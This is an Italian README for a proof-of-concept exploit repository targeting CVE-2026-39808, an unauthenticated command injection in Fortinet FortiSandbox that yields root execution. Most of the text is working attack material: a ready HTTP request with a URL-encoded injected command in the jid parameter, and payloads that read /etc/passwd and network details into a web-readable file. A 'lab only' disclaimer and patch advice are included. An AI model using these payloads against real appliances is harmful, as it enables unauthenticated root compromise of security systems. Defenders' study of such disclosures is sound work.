🚨 FortiSandbox Fuga dalla Sandbox come Root - CVE-2026-39808

---

🎯 Panoramica

Questo repository contiene una Proof of Concept pulita e ben documentata per CVE-2026-39808 — una vulnerabilità critica di command injection non autenticata in Fortinet FortiSandbox che consente la fuga dalla sandbox e l'esecuzione remota di codice come root (uid=0).

Cosa dimostra questa PoC:

• Path Traversal + Command Injection tramite il parametro jid
• Fuga dalla sandbox dall'ambiente di analisi
• Esecuzione di comandi arbitrari con privilegi di root
• Lettura di file di sistema e informazioni di rete

📸 Demo

Exploit riuscito che mostra uid=0 gid=0 groups=0

🚀 Versioni Interessate

🛠️ Come Usare (Solo Lab)

1. Payload Semplice (Consigliato)

GET /fortisandbox/job-detail/tracer-behavior?jid=%7C(id%3E/web/ng/out.txt)%7C HTTP/1.1
Host: your-lab-ip

2. Visualizza il risultato

Apri nel browser:

https://your-lab-ip/ng/out.txt

3. Esempi di Payload Avanzati

# Get IP address + hostname
jid=|(hostname; ip -4 addr show > /web/ng/out.txt)|

# Full system reconnaissance
jid=|(whoami; id; hostname; ip addr; cat /etc/passwd > /web/ng/out.txt)|

📁 Contenuto del Repository

• poc.py → Exploit Python automatizzato
• burp-request.txt → Richiesta Burp Suite pronta all'uso
• payloads.md → Raccolta di payload utili
• screenshots/ → Immagini dello sfruttamento passo-passo
• README.md → Questo file

⚠️ Note Importanti

• Solo per scopi educativi e di laboratorio
• NON utilizzarlo su sistemi di produzione o non autorizzati
• Ottieni sempre l'autorizzazione appropriata prima di testare
• Applica la patch al tuo FortiSandbox portandolo alla versione 4.4.9+ o 5.0.6+

🛡️ Mitigazione

Aggiorna immediatamente FortiSandbox a una delle seguenti versioni:

• 4.4.9 o superiore
• 5.0.6 o superiore

Fortinet ha rilasciato patch ufficiali che risolvono questa vulnerabilità.